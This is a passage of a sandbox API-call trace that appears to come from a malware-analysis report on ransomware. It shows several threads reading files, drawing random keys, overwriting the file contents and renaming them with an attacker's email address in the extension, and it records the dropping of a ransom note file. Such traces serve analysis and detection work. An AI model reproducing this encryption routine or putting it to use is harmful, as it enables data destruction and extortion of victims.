	[0078.723] FlushFileBuffers (hFile=0x9a0) returned 1
	[0080.068] CloseHandle (hObject=0x9a0) returned 1
	[0080.177] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47808b0
	[0080.177] wcscpy (in: _Dest=0x47808b0, _Source="C:\\588bce7c90097ed212\\1040\\" | out: _Dest="C:\\588bce7c90097ed212\\1040\\") returned="C:\\588bce7c90097ed212\\1040\\"
	[0080.177] wcscat (in: _Dest=0x47808b0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1040\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1040\\C3F7E-Readme.txt"
	[0080.177] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1040\\c3f7e-readme.txt")) returned 0x20
	[0080.177] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47808b0) returned 1
	[0080.177] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a3e0) returned 1

Thread:
	id = 194
	os_tid = 0x13d4

	[0075.797] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80
	[0075.805] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.815] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x984
	[0075.815] GetFileSizeEx (in: hFile=0x984, lpFileSize=0x9f8fbbc | out: lpFileSize=0x9f8fbbc*=10125) returned 1
	[0075.815] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x2789, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.815] ReadFile (in: hFile=0x984, lpBuffer=0x9f8fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x9f8fb3c, lpOverlapped=0x0 | out: lpBuffer=0x9f8fb40*, lpNumberOfBytesRead=0x9f8fb3c*=0x4, lpOverlapped=0x0) returned 1
	[0075.823] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0075.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781530
	[0075.823] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0075.823] NtQuerySystemTime (in: CurrentTime=0x9f8fb1c | out: CurrentTime=0x9f8fb1c*=132251868025596234) returned 0x0
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x2ad573a
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x9cb55cb0
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x4ffcf661
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x7595c3e6
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x4f487377
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x3e05674a
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x7596e9b7
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x439afb0
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x6ddd15bb
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0xa652fb9b
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x40eb025b
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0xe9f29dd
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x8d4b580c
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x372056e
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0xb867aa4b
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0xb79fd8e1
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x4647e303
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x9a4ce559
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0xca5aa69b
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x4ebc4838
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0xafb6613a
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x5f3884a4
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0xeb8d57d3
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x2f1d3f45
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x85f0310b
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x1d6ba564
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x7857eab7
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0xd48dcfc1
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x809b6f9e
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x734720a6
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x17d8b2f7
	[0075.823] RtlRandom (in: Seed=0x9f8fb28 | out: Seed=0x9f8fb28) returned 0x21aaba7
	[0075.841] ReadFile (in: hFile=0x984, lpBuffer=0x49148a8, nNumberOfBytesToRead=0x278d, lpNumberOfBytesRead=0x9f8fb18, lpOverlapped=0x0 | out: lpBuffer=0x49148a8*, lpNumberOfBytesRead=0x9f8fb18*=0x278d, lpOverlapped=0x0) returned 1
	[0075.842] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.842] WriteFile (in: hFile=0x984, lpBuffer=0x49210b0*, nNumberOfBytesToWrite=0x278d, lpNumberOfBytesWritten=0x9f8fb14, lpOverlapped=0x0 | out: lpBuffer=0x49210b0*, lpNumberOfBytesWritten=0x9f8fb14*=0x278d, lpOverlapped=0x0) returned 1
	[0078.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0078.447] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34708
	[0078.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34708) returned 1
	[0078.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49210b0) returned 1
	[0078.448] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49148a8) returned 1
	[0078.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04bd0) returned 1
	[0078.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d738e8) returned 1
	[0078.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e34708
	[0078.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad60
	[0078.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0078.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34578
	[0078.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34578) returned 1
	[0078.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x2e34578
	[0078.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0078.451] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34370
	[0078.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34370) returned 1
	[0078.451] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753728) returned 1
	[0078.452] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0078.452] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x101) returned 0x4780f30
	[0078.452] SetFilePointerEx (in: hFile=0x984, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.452] WriteFile (in: hFile=0x984, lpBuffer=0x4780f30*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x9f8fb7c, lpOverlapped=0x0 | out: lpBuffer=0x4780f30*, lpNumberOfBytesWritten=0x9f8fb7c*=0x101, lpOverlapped=0x0) returned 1
	[0078.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780f30) returned 1
	[0078.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34578) returned 1
	[0078.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0078.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34708) returned 1
	[0078.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0078.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0078.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781558) returned 1
	[0078.686] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a88) returned 1
	[0078.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78aa8
	[0078.686] wcscpy (in: _Dest=0x2d78aa8, _Source="C:\\588bce7c90097ed212\\1041\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned="C:\\588bce7c90097ed212\\1041\\eula.rtf"
	[0078.686] wcscat (in: _Dest=0x2d78aa8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.686] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x9f8fb34, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1041\\eula.rtf.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d5dda8
	[0078.686] NtSetInformationFile (FileHandle=0x984, IoStatusBlock=0x9f8fb2c, FileInformation=0x2d5dda8, Length=0xa4, FileInformationClass=0xa) returned 0x0
	[0078.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5dda8) returned 1
	[0078.735] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2ab78) returned 1
	[0078.735] NtQueryInformationFile (in: FileHandle=0x984, IoStatusBlock=0x9f8fb40, FileInformation=0x9f8fb18, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x9f8fb40, FileInformation=0x9f8fb18) returned 0x0
	[0078.735] NtSetInformationFile (FileHandle=0x984, IoStatusBlock=0x9f8fb40, FileInformation=0x9f8fb18, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0078.736] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78aa8) returned 1
	[0078.736] FlushFileBuffers (hFile=0x984) returned 1
	[0080.082] CloseHandle (hObject=0x984) returned 1
	[0080.184] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47808b0
	[0080.184] wcscpy (in: _Dest=0x47808b0, _Source="C:\\588bce7c90097ed212\\1041\\" | out: _Dest="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\"
	[0080.184] wcscat (in: _Dest=0x47808b0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1041\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1041\\C3F7E-Readme.txt"
	[0080.184] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1041\\c3f7e-readme.txt")) returned 0x20
	[0080.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47808b0) returned 1
	[0080.184] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4730740) returned 1

Thread:
	id = 195
	os_tid = 0x13c0

	[0075.841] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80
	[0075.843] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", dwFileAttributes=0x20) returned 1
	[0075.843] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9a4
	[0075.843] GetFileSizeEx (in: hFile=0x9a4, lpFileSize=0xa00fe60 | out: lpFileSize=0xa00fe60*=68226) returned 1
	[0075.843] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x10a7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.843] ReadFile (in: hFile=0x9a4, lpBuffer=0xa00fde4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa00fde0, lpOverlapped=0x0 | out: lpBuffer=0xa00fde4*, lpNumberOfBytesRead=0xa00fde0*=0x4, lpOverlapped=0x0) returned 1
	[0075.845] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0075.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0075.845] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0075.845] NtQuerySystemTime (in: CurrentTime=0xa00fdc0 | out: CurrentTime=0xa00fdc0*=132251868025753294) returned 0x0
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0xe2d55726
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0xab632bb4
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x5fd4bbb4
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0xe92e69d1
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x214706b5
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x425c2cc5
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0xfdd25cf8
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0xe070a02
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0xfbcc1e3e
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x46f04180
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x23cf8635
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x898bf7c5
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x8c8a5a1a
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x2753e452
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x31019f78
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x8edf9b29
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x8d0059f
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x9fff530b
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0xab092801
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x9f53cec7
	[0075.845] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x72665871
	[0075.846] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x21ce562b
	[0075.846] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0xda1c9984
	[0075.846] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0xd74cbd30
	[0075.846] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0xe87b4a67
	[0075.846] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0xa83daac3
	[0075.846] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x530e842e
	[0075.846] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x3bb1b227
	[0075.846] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x70dfbf21
	[0075.846] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0xee007b04
	[0075.846] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x4cfe9e7c
	[0075.846] RtlRandom (in: Seed=0xa00fdcc | out: Seed=0xa00fdcc) returned 0x64cfe16f
	[0075.855] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.855] ReadFile (in: hFile=0x9a4, lpBuffer=0x492d8b8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa00fda0, lpOverlapped=0x0 | out: lpBuffer=0x492d8b8*, lpNumberOfBytesRead=0xa00fda0*=0xc800, lpOverlapped=0x0) returned 1
	[0075.856] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.856] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d73ae0
	[0075.856] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04c48
	[0075.856] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4724ba8
	[0075.856] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724ba8) returned 1
	[0075.857] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x493a0c0
	[0075.860] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47248b0
	[0075.860] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47249a0
	[0075.860] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47249a0) returned 1
	[0075.860] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04c48) returned 1
	[0075.860] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73ae0) returned 1
	[0075.860] WriteFile (in: hFile=0x9a4, lpBuffer=0x493a0c0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa00fda0, lpOverlapped=0x0 | out: lpBuffer=0x493a0c0*, lpNumberOfBytesWritten=0xa00fda0*=0xc800, lpOverlapped=0x0) returned 1
	[0075.862] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x493a0c0) returned 1
	[0075.862] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x492d8b8) returned 1
	[0075.862] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x2e3a690
	[0075.863] SetFilePointerEx (in: hFile=0x9a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.863] WriteFile (in: hFile=0x9a4, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xa00fe20, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0xa00fe20*=0x113, lpOverlapped=0x0) returned 1
	[0075.864] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.864] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a6c8) returned 1
	[0075.864] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47248d8) returned 1
	[0075.864] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3a690) returned 1
	[0075.864] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47248b0) returned 1
	[0075.864] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781508) returned 1
	[0075.864] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77358) returned 1
	[0075.864] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4724b30) returned 1
	[0075.864] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x2d7f268
	[0075.864] wcscpy (in: _Dest=0x2d7f268, _Source="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml"
	[0075.864] wcscat (in: _Dest=0x2d7f268, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.864] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xa00fdd8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.864] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x2d89460
	[0075.865] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.865] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61b00) returned 1
	[0075.865] NtQueryInformationFile (in: FileHandle=0x9a4, IoStatusBlock=0xa00fde4, FileInformation=0xa00fdbc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xa00fde4, FileInformation=0xa00fdbc) returned 0x0
	[0075.865] NtSetInformationFile (FileHandle=0x9a4, IoStatusBlock=0xa00fde4, FileInformation=0xa00fdbc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.866] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f268) returned 1
	[0075.866] FlushFileBuffers (hFile=0x9a4) returned 1
	[0075.878] CloseHandle (hObject=0x9a4) returned 1
	[0075.879] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x47339a0
	[0075.879] wcscpy (in: _Dest=0x47339a0, _Source="C:\\588bce7c90097ed212\\1041\\" | out: _Dest="C:\\588bce7c90097ed212\\1041\\") returned="C:\\588bce7c90097ed212\\1041\\"
	[0075.879] wcscat (in: _Dest=0x47339a0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1041\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\1041\\C3F7E-Readme.txt"
	[0075.879] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1041\\c3f7e-readme.txt")) returned 0xffffffff
	[0075.879] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1041\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9a4
	[0075.883] WriteFile (in: hFile=0x9a4, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0xa00fde0, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0xa00fde0*=0x6f6, lpOverlapped=0x0) returned 1
	[0075.884] CloseHandle (hObject=0x9a4) returned 1
	[0075.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47339a0) returned 1
	[0075.884] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7a448) returned 1

Thread:
	id = 196
	os_tid = 0x13bc

	[0075.856] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80
	[0075.861] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf", dwFileAttributes=0x20) returned 1
	[0075.862] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x9a8
	[0075.862] GetFileSizeEx (in: hFile=0x9a8, lpFileSize=0xa08f8fc | out: lpFileSize=0xa08f8fc*=12687) returned 1
	[0075.862] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x318b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.862] ReadFile (in: hFile=0x9a8, lpBuffer=0xa08f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa08f87c, lpOverlapped=0x0 | out: lpBuffer=0xa08f880*, lpNumberOfBytesRead=0xa08f87c*=0x4, lpOverlapped=0x0) returned 1
	[0075.868] SetFilePointerEx (in: hFile=0x9a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.868] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781508
	[0075.868] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781648
	[0075.868] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
